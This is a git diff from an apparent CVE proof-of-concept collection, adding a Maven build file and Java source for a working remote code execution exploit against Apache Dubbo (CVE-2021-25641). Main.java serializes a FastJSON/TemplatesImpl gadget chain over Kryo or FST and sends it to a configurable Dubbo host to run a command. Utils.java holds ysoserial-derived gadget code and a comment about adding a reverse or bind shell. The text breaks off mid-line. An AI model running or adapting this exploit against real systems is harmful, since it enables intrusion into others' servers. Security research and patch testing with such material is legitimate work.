-
-
- com.alibaba
- dubbo
- 2.6.9
-
-
- com.alibaba
- dubbo-remoting-netty4
- 2.6.9
-
-
- io.netty
- netty-all
- 4.1.60.Final
-
-
- org.springframework
- spring-web
- 5.1.9.RELEASE
-
-
- com.nqzero
- permit-reflect
- 0.4
-
-
-
+
+
+ 4.0.0
+
+ groupId
+ DubboProtocolExploit
+ 1.0-SNAPSHOT
+
+
+
+ org.apache.maven.plugins
+ maven-compiler-plugin
+ 3.8.1
+
+ 8
+ 8
+
+
+
+
+
+
+ org.apache.dubbo
+ dubbo
+ 2.7.3
+
+
+ org.apache.dubbo
+ dubbo-common
+ 2.7.3
+
+
+ com.alibaba
+ dubbo
+ 2.6.9
+
+
+ com.alibaba
+ dubbo-remoting-netty4
+ 2.6.9
+
+
+ io.netty
+ netty-all
+ 4.1.60.Final
+
+
+ org.springframework
+ spring-web
+ 5.1.9.RELEASE
+
+
+ com.nqzero
+ permit-reflect
+ 0.4
+
+
+
diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java
index 0efbaf721a16a33936938d78268edc9b618955b7..b165e7b8bd3c13f14943956ebd96792eed44f16d 100644
--- a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java
+++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Main.java
@@ -1,157 +1,157 @@
-package DubboProtocolExploit;
-
-
-import com.alibaba.fastjson.JSONObject;
-import org.apache.dubbo.common.io.Bytes;
-import org.apache.dubbo.common.serialize.Serialization;
-import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
-import org.apache.dubbo.common.serialize.fst.FstSerialization;
-import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
-import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
-import org.apache.dubbo.common.serialize.ObjectOutput;
-import org.apache.dubbo.rpc.RpcInvocation;
-import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
-import org.apache.dubbo.serialize.hessian.Hessian2Serialization;
-/*import com.alibaba.dubbo.common.io.Bytes;
-import com.alibaba.dubbo.common.serialize.Serialization;
-import com.alibaba.dubbo.common.serialize.fst.FstObjectOutput;
-import com.alibaba.dubbo.common.serialize.fst.FstSerialization;
-import com.alibaba.dubbo.common.serialize.kryo.KryoObjectOutput;
-import com.alibaba.dubbo.common.serialize.kryo.KryoSerialization;
-import com.alibaba.dubbo.common.serialize.ObjectOutput;*/
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.OutputStream;
-import java.io.Serializable;
-import java.lang.reflect.Method;
-import java.net.Socket;
-
-/* This Dubbo protocol exploit affects versions <= 2.7.3,
- and will print "whoops!" on the server's console via RCE.
-
- This issue is caused by deserialization of untrusted data,
- triggered via a communication protocol that allows dynamically
- switching to a vulnerable deserializer, and exploited with a
- payload gadget chain based on FastJson
-
- On Windows servers - it will try to execute calc.exe
- On Linux servers - it will touch /tmp/dubboexploited
- */
-
-public class Main {
- // Customize URL for remote targets
- public static String DUBBO_HOST_NAME = "localhost";
- public static int DUBBO_HOST_PORT = 20880;
-
- // OS-specific payloads - comment to switch OS variants
- // exploit will print "whoops!" on server console either way
- //public static String DUBBO_RCE_COMMAND = "touch /tmp/dubboexploited"; // Linux
- public static String DUBBO_RCE_COMMAND = "calc.exe"; // Windows
-
- //Exploit variant - comment to switch exploit variants
- public static String EXPLOIT_VARIANT = "Kryo";
- //public static String EXPLOIT_VARIANT = "FST";
-
- // Magic header from ExchangeCodec
- protected static final short MAGIC = (short) 0xdabb;
- protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
- protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1];
-
- // Message flags from ExchangeCodec
- protected static final byte FLAG_REQUEST = (byte) 0x80;
- protected static final byte FLAG_TWOWAY = (byte) 0x40;
-
- public static void main(String[] args) throws Exception {
- Object templates = Utils.createTemplatesImpl(DUBBO_RCE_COMMAND); // TemplatesImpl gadget chain
-
- // triggers Runtime.exec() on TemplatesImpl.newTransformer()
- JSONObject jo = new JSONObject();
- jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper
- Object gadgetChain = Utils.makeXStringToStringTrigger(jo); // toString() trigger
-
- // encode request data.
- ByteArrayOutputStream bos = new ByteArrayOutputStream();
-
- // Kryo exploit variant
- Serialization s;
- ObjectOutput objectOutput;
- switch(EXPLOIT_VARIANT) {
- case "FST":
- s = new FstSerialization();
- objectOutput = new FstObjectOutput(bos);
- break;
- case "Kryo":
- default:
- s = new KryoSerialization();
- objectOutput = new KryoObjectOutput(bos);
- break;
- }
-
- // 0xc2 is Hessian2 + two-way + Request serialization
- // Kryo | two-way | Request is 0xc8 on third byte
- // FST | two-way | Request is 0xc9 on third byte
-
- byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
- byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
- 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
- bos.write(header);
- // Strings need only satisfy "readUTF" calls until "readObject" is reached, so garbage metadata works too
- /*
- objectOutput.writeUTF("notAversion");
- objectOutput.writeUTF("notAservice");
- objectOutput.writeUTF("notAserviceVersion");
- objectOutput.writeUTF("notAmethod");
- objectOutput.writeUTF("notAtype"); //*/
-
- // This section contains valid data writes
- RpcInvocation ri = new RpcInvocation();
- ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
- //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
- ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}});
- // Strings need only satisfy "readUTF" calls until "readObject" is reached
-
- // /*
- objectOutput.writeUTF("2.0.2");
- objectOutput.writeUTF("org.apache.dubbo.demo.DemoService");
- objectOutput.writeUTF("0.0.0");
- objectOutput.writeUTF("sayHello");
- objectOutput.writeUTF("Ljava/lang/String;"); //*/
-
- objectOutput.writeObject(gadgetChain);
- objectOutput.writeObject(ri.getAttachments());
-
- objectOutput.flushBuffer();
- byte[] payload = bos.toByteArray();
- int len = payload.length - header.length;
- Bytes.int2bytes(len, payload, 12);
-
- // Dubbo Message Stream Hex Dump
- for (int i = 0; i < payload.length; i++) {
- System.out.print(String.format("%02X", payload[i]) + " ");
- if ((i + 1) % 8 == 0)
- System.out.print(" ");
- if ((i + 1) % 16 == 0 )
- System.out.println();
-
- }
- // Payload string
- System.out.println();
- System.out.println(new String(payload));
-
- Socket pingSocket = null;
- OutputStream out = null;
- // Send request over TCP socket
- try {
- pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
- out = pingSocket.getOutputStream();
- } catch (IOException e) {
- return;
- }
- out.write(payload);
- out.flush();
- out.close();
- pingSocket.close();
- System.out.println("Sent!");
- }
-}
+package DubboProtocolExploit;
+
+
+import com.alibaba.fastjson.JSONObject;
+import org.apache.dubbo.common.io.Bytes;
+import org.apache.dubbo.common.serialize.Serialization;
+import org.apache.dubbo.common.serialize.fst.FstObjectOutput;
+import org.apache.dubbo.common.serialize.fst.FstSerialization;
+import org.apache.dubbo.common.serialize.kryo.KryoObjectOutput;
+import org.apache.dubbo.common.serialize.kryo.KryoSerialization;
+import org.apache.dubbo.common.serialize.ObjectOutput;
+import org.apache.dubbo.rpc.RpcInvocation;
+import org.apache.dubbo.serialize.hessian.Hessian2ObjectOutput;
+import org.apache.dubbo.serialize.hessian.Hessian2Serialization;
+/*import com.alibaba.dubbo.common.io.Bytes;
+import com.alibaba.dubbo.common.serialize.Serialization;
+import com.alibaba.dubbo.common.serialize.fst.FstObjectOutput;
+import com.alibaba.dubbo.common.serialize.fst.FstSerialization;
+import com.alibaba.dubbo.common.serialize.kryo.KryoObjectOutput;
+import com.alibaba.dubbo.common.serialize.kryo.KryoSerialization;
+import com.alibaba.dubbo.common.serialize.ObjectOutput;*/
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.Serializable;
+import java.lang.reflect.Method;
+import java.net.Socket;
+
+/* This Dubbo protocol exploit affects versions <= 2.7.3,
+ and will print "whoops!" on the server's console via RCE.
+
+ This issue is caused by deserialization of untrusted data,
+ triggered via a communication protocol that allows dynamically
+ switching to a vulnerable deserializer, and exploited with a
+ payload gadget chain based on FastJson
+
+ On Windows servers - it will try to execute calc.exe
+ On Linux servers - it will touch /tmp/dubboexploited
+ */
+
+public class Main {
+ // Customize URL for remote targets
+ public static String DUBBO_HOST_NAME = "localhost";
+ public static int DUBBO_HOST_PORT = 20880;
+
+ // OS-specific payloads - comment to switch OS variants
+ // exploit will print "whoops!" on server console either way
+ //public static String DUBBO_RCE_COMMAND = "touch /tmp/dubboexploited"; // Linux
+ public static String DUBBO_RCE_COMMAND = "calc.exe"; // Windows
+
+ //Exploit variant - comment to switch exploit variants
+ public static String EXPLOIT_VARIANT = "Kryo";
+ //public static String EXPLOIT_VARIANT = "FST";
+
+ // Magic header from ExchangeCodec
+ protected static final short MAGIC = (short) 0xdabb;
+ protected static final byte MAGIC_HIGH = Bytes.short2bytes(MAGIC)[0];
+ protected static final byte MAGIC_LOW = Bytes.short2bytes(MAGIC)[1];
+
+ // Message flags from ExchangeCodec
+ protected static final byte FLAG_REQUEST = (byte) 0x80;
+ protected static final byte FLAG_TWOWAY = (byte) 0x40;
+
+ public static void main(String[] args) throws Exception {
+ Object templates = Utils.createTemplatesImpl(DUBBO_RCE_COMMAND); // TemplatesImpl gadget chain
+
+ // triggers Runtime.exec() on TemplatesImpl.newTransformer()
+ JSONObject jo = new JSONObject();
+ jo.put("oops",(Serializable)templates); // Vulnerable FastJSON wrapper
+ Object gadgetChain = Utils.makeXStringToStringTrigger(jo); // toString() trigger
+
+ // encode request data.
+ ByteArrayOutputStream bos = new ByteArrayOutputStream();
+
+ // Kryo exploit variant
+ Serialization s;
+ ObjectOutput objectOutput;
+ switch(EXPLOIT_VARIANT) {
+ case "FST":
+ s = new FstSerialization();
+ objectOutput = new FstObjectOutput(bos);
+ break;
+ case "Kryo":
+ default:
+ s = new KryoSerialization();
+ objectOutput = new KryoObjectOutput(bos);
+ break;
+ }
+
+ // 0xc2 is Hessian2 + two-way + Request serialization
+ // Kryo | two-way | Request is 0xc8 on third byte
+ // FST | two-way | Request is 0xc9 on third byte
+
+ byte requestFlags = (byte) (FLAG_REQUEST | s.getContentTypeId() | FLAG_TWOWAY);
+ byte[] header = new byte[]{MAGIC_HIGH, MAGIC_LOW, requestFlags,
+ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0}; // Padding and 0 length LSBs
+ bos.write(header);
+ // Strings need only satisfy "readUTF" calls until "readObject" is reached, so garbage metadata works too
+ /*
+ objectOutput.writeUTF("notAversion");
+ objectOutput.writeUTF("notAservice");
+ objectOutput.writeUTF("notAserviceVersion");
+ objectOutput.writeUTF("notAmethod");
+ objectOutput.writeUTF("notAtype"); //*/
+
+ // This section contains valid data writes
+ RpcInvocation ri = new RpcInvocation();
+ ri.setParameterTypes(new Class[] {Object.class, Method.class, Object.class});
+ //ri.setParameterTypesDesc("Ljava/lang/String;[Ljava/lang/String;[Ljava/lang/Object;");
+ ri.setArguments(new Object[] { "sayHello", new String[] {"org.apache.dubbo.demo.DemoService"}, new Object[] {"YOU"}});
+ // Strings need only satisfy "readUTF" calls until "readObject" is reached
+
+ // /*
+ objectOutput.writeUTF("2.0.2");
+ objectOutput.writeUTF("org.apache.dubbo.demo.DemoService");
+ objectOutput.writeUTF("0.0.0");
+ objectOutput.writeUTF("sayHello");
+ objectOutput.writeUTF("Ljava/lang/String;"); //*/
+
+ objectOutput.writeObject(gadgetChain);
+ objectOutput.writeObject(ri.getAttachments());
+
+ objectOutput.flushBuffer();
+ byte[] payload = bos.toByteArray();
+ int len = payload.length - header.length;
+ Bytes.int2bytes(len, payload, 12);
+
+ // Dubbo Message Stream Hex Dump
+ for (int i = 0; i < payload.length; i++) {
+ System.out.print(String.format("%02X", payload[i]) + " ");
+ if ((i + 1) % 8 == 0)
+ System.out.print(" ");
+ if ((i + 1) % 16 == 0 )
+ System.out.println();
+
+ }
+ // Payload string
+ System.out.println();
+ System.out.println(new String(payload));
+
+ Socket pingSocket = null;
+ OutputStream out = null;
+ // Send request over TCP socket
+ try {
+ pingSocket = new Socket(DUBBO_HOST_NAME, DUBBO_HOST_PORT);
+ out = pingSocket.getOutputStream();
+ } catch (IOException e) {
+ return;
+ }
+ out.write(payload);
+ out.flush();
+ out.close();
+ pingSocket.close();
+ System.out.println("Sent!");
+ }
+}
diff --git a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java
index 8aaf5e6c5e316999baabf4d0da8d9b132a8730fa..e69a8a05cd3f6e044193ace14e9fe8fdf8d49d1f 100644
--- a/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java
+++ b/cve/apache-Dubbo/2021/CVE-2021-25641/DubboProtocolExploit/src/main/java/DubboProtocolExploit/Utils.java
@@ -1,221 +1,221 @@
-package DubboProtocolExploit;
-
-import com.nqzero.permit.Permit;
-import com.sun.org.apache.xalan.internal.xsltc.DOM;
-import com.sun.org.apache.xalan.internal.xsltc.TransletException;
-import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
-import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
-import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
-import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
-import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
-import com.sun.org.apache.xpath.internal.objects.XString;
-import javassist.ClassClassPath;
-import javassist.ClassPool;
-import javassist.CtClass;
-import org.springframework.aop.target.HotSwappableTargetSource;
-import sun.reflect.ReflectionFactory;
-
-import java.io.ByteArrayOutputStream;
-import java.io.IOException;
-import java.io.InputStream;
-import java.io.Serializable;
-import java.lang.reflect.*;
-import java.util.HashMap;
-import java.util.Map;
-
-import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
-
-/*
- * Utility class - based on code found in ysoserial, includes method calls used in
- * ysoserial.payloads.util specifically the Reflections, Gadgets, and ClassFiles classes. These were
- * consolidated into a single util class for the sake of brevity; they are otherwise unchanged.
- *
- * Additionally, uses code based on marshalsec.gadgets.ToStringUtil.makeSpringAOPToStringTrigger
- * to create a toString trigger
- *
- * ysoserial by Chris Frohoff - https://github.com/frohoff/ysoserial
- * marshalsec by Moritz Bechler - https://github.com/mbechler/marshalsec
- */
-public class Utils {
- static {
- // special case for using TemplatesImpl gadgets with a SecurityManager enabled
- System.setProperty(DESERIALIZE_TRANSLET, "true");
-
- // for RMI remote loading
- System.setProperty("java.rmi.server.useCodebaseOnly", "false");
- }
-
- public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
-
- public static class StubTransletPayload extends AbstractTranslet implements Serializable {
-
- private static final long serialVersionUID = -5971610431559700674L;
-
-
- public void transform (DOM document, SerializationHandler[] handlers ) throws TransletException {}
-
-
- @Override
- public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
- }
-
- // required to make TemplatesImpl happy
- public static class Foo implements Serializable {
-
- private static final long serialVersionUID = 8207363842866235160L;
- }
-
- public static InvocationHandler createMemoizedInvocationHandler (final Map map ) throws Exception {
- return (InvocationHandler) Utils.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
- }
-
- public static Object createTemplatesImpl ( final String command ) throws Exception {
- if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
- return createTemplatesImpl(
- command,
- Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
- Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
- Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
- }
-
- return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
- }
-
-
- public static T createTemplatesImpl ( final String command, Class tplClass, Class> abstTranslet, Class> transFactory )
- throws Exception {
- final T templates = tplClass.newInstance();
-
- // use template gadget class
- ClassPool pool = ClassPool.getDefault();
- pool.insertClassPath(new ClassClassPath(Utils.StubTransletPayload.class));
- pool.insertClassPath(new ClassClassPath(abstTranslet));
- final CtClass clazz = pool.get(Utils.StubTransletPayload.class.getName());
- // run command in static initializer
- // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
- String cmd = "System.out.println(\"whoops!\"); java.lang.Runtime.getRuntime().exec(\"" +
- command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
- "\");";
- clazz.makeClassInitializer().insertAfter(cmd);
- // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
- clazz.setName("ysoserial.Pwner" + System.nanoTime());
- CtClass superC = pool.get(abstTranslet.getName());
- clazz.setSuperclass(superC);
-
- final byte[] classBytes = clazz.toBytecode();
-
- // inject class bytes into instance
- Utils.setFieldValue(templates, "_bytecodes", new byte[][] {
- classBytes, Utils.classAsBytes(Utils.Foo.class)
- });
-
- // required to make TemplatesImpl happy
- Utils.setFieldValue(templates, "_name", "Pwnr");
- Utils.setFieldValue(templates, "_tfactory", transFactory.newInstance());
- return templates;
- }
-
- public static void setAccessible(AccessibleObject member) {
- // quiet runtime warnings from JDK9+
- Permit.setAccessible(member);
- }
-
- public static Field getField(final Class> clazz, final String fieldName) {
- Field field = null;
- try {
- field = clazz.getDeclaredField(fieldName);
- setAccessible(field);
- }
- catch (NoSuchFieldException ex) {
- if (clazz.getSuperclass() != null)
- field = getField(clazz.getSuperclass(), fieldName);
- }
- return field;
- }
-
- public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
- final Field field = getField(obj.getClass(), fieldName);
- field.set(obj, value);
- }
-
- public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
- final Field field = getField(obj.getClass(), fieldName);
- return field.get(obj);
- }
-
- public static Constructor> getFirstCtor(final String name) throws Exception {
- final Constructor> ctor = Class.forName(name).getDeclaredConstructors()[0];
- setAccessible(ctor);
- return ctor;
- }
-
- @SuppressWarnings ( {"unchecked"} )
- public static T createWithConstructor ( Class classToInstantiate, Class super T> constructorClass, Class>[] consArgTypes, Object[] consArgs )
- throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
- Constructor super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
- setAccessible(objCons);
- Constructor> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
- setAccessible(sc);
- return (T)sc.newInstance(consArgs);
- }
-
- public static String classAsFile(final Class> clazz) {
- return classAsFile(clazz, true);
- }
-
- public static String classAsFile(final Class> clazz, boolean suffix) {
- String str;
- if (clazz.getEnclosingClass() == null) {
- str = clazz.getName().replace(".", "/");
- } else {
- str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
- }
- if (suffix) {
- str += ".class";
- }
- return str;
- }
-
- public static byte[] classAsBytes(final Class> clazz) {
- try {
- final byte[] buffer = new byte[1024];
- final String file = classAsFile(clazz);
- final InputStream in = Utils.class.getClassLoader().getResourceAsStream(file);
- if (in == null) {
- throw new IOException("couldn't find '" + file + "'");
- }
- final ByteArrayOutputStream out = new ByteArrayOutputStream();
- int len;
- while ((len = in.read(buffer)) != -1) {
- out.write(buffer, 0, len);
- }
- return out.toByteArray();
- } catch (IOException e) {
- throw new RuntimeException(e);
- }
- }
- public static HashMap